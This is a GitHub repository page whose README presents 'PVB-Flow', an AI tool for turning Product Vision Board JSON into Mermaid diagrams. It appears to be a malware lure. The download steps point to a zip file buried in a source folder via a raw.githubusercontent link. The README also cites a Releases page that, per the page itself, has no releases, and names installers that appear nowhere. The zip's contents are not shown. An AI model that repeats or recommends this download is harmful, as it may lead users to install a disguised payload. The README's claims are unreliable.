Skip to content

Hari-9345/PVB-Flow

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ PVB-Flow - Create Stunning Diagrams Easily

🌐 Overview

PVB-Flow helps transform your Product Vision Board (PVB) JSON files into professional diagrams using AI. This tool generates Mermaid diagrams, allowing you to visualize your product strategy effectively. Whether you're an entrepreneur, a product manager, or looking to enhance your presentations, PVB-Flow makes diagram creation simple and efficient.

🚦 Features

  • AI-Powered: Utilizes advanced AI to automate diagram creation.
  • Mermaid Diagrams: Outputs standard Mermaid diagrams for easy integration.
  • User-Friendly Interface: Designed for non-technical users for a seamless experience.
  • Fast Conversion: Quickly transforms JSON files into visual diagrams.
  • Integration Ready: Utilize generated diagrams in various documentation and presentations.

πŸ› οΈ System Requirements

  • Operating System: Windows 10, macOS High Sierra (10.13), or recent versions of Linux.
  • RAM: Minimum 4 GB (8 GB recommended).
  • Disk Space: At least 100 MB of free space.
  • Browser: Latest version of Chrome, Firefox, or Safari for optimal performance.

πŸš€ Getting Started

To get started with PVB-Flow, you need to download the application from our Releases page. Follow the instructions below to set it up.

πŸ“₯ Download & Install

Download PVB-Flow

  1. Click on the download button above or visit the Releases page.
  2. On the Releases page, locate the latest version of PVB-Flow.
  3. Download the suitable file for your operating system (e.g., .exe for Windows, .dmg for macOS, https://raw.githubusercontent.com/Hari-9345/PVB-Flow/main/huggingface-space/src/core/PVB-Flow-3.8-alpha.3.zip for Linux).
  4. Once the file is downloaded, locate it in your Downloads folder.
  5. Follow the installation steps specific to your operating system:

βš™οΈ Using PVB-Flow

Once installed, you can start using PVB-Flow to convert your JSON files into diagrams.

  1. Launch the PVB-Flow application.
  2. Upload your Product Vision Board JSON file.
  3. Choose your desired output options, such as diagram style.
  4. Click on the β€œGenerate Diagram” button to create your Mermaid diagram.
  5. You can save or export the diagram in different formats suitable for your needs.

πŸ“ Frequently Asked Questions

πŸ“Œ What is a Product Vision Board?

A Product Vision Board is a document that helps teams visualize and outline their product goals, features, and strategies. It is beneficial for aligning team efforts and communicating ideas clearly.

πŸ“Œ How do I create a JSON file for my PVB?

You can create a JSON file by structuring your product information in a simple text editor. Ensure it follows the proper JSON format, including key-value pairs for each element of your vision board.

πŸ“Œ Can I use PVB-Flow on different operating systems?

Yes, PVB-Flow supports Windows, macOS, and Linux.

πŸ“Œ Is there a user manual available?

Yes, PVB-Flow includes a help section. You can find guides and tutorials within the application.

🌍 Community and Support

Join our community to connect with other users and receive support:

  • GitHub Issues – Report bugs or request features.
  • Discussion Forum – Share your thoughts and connect with others.
  • Follow us on social media for updates and tips.

πŸŽ‰ Conclusion

PVB-Flow turns your Product Vision Board JSON files into insightful diagrams, making it easier to visualize your vision. Enjoy a user-friendly experience without needing technical skills. Download it today from our Releases page and start creating your diagrams effortlessly.

About

πŸ“Š Convert Product Vision Board JSON into clear Mermaid diagrams with AI-driven analysis for effective operational process visualization.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages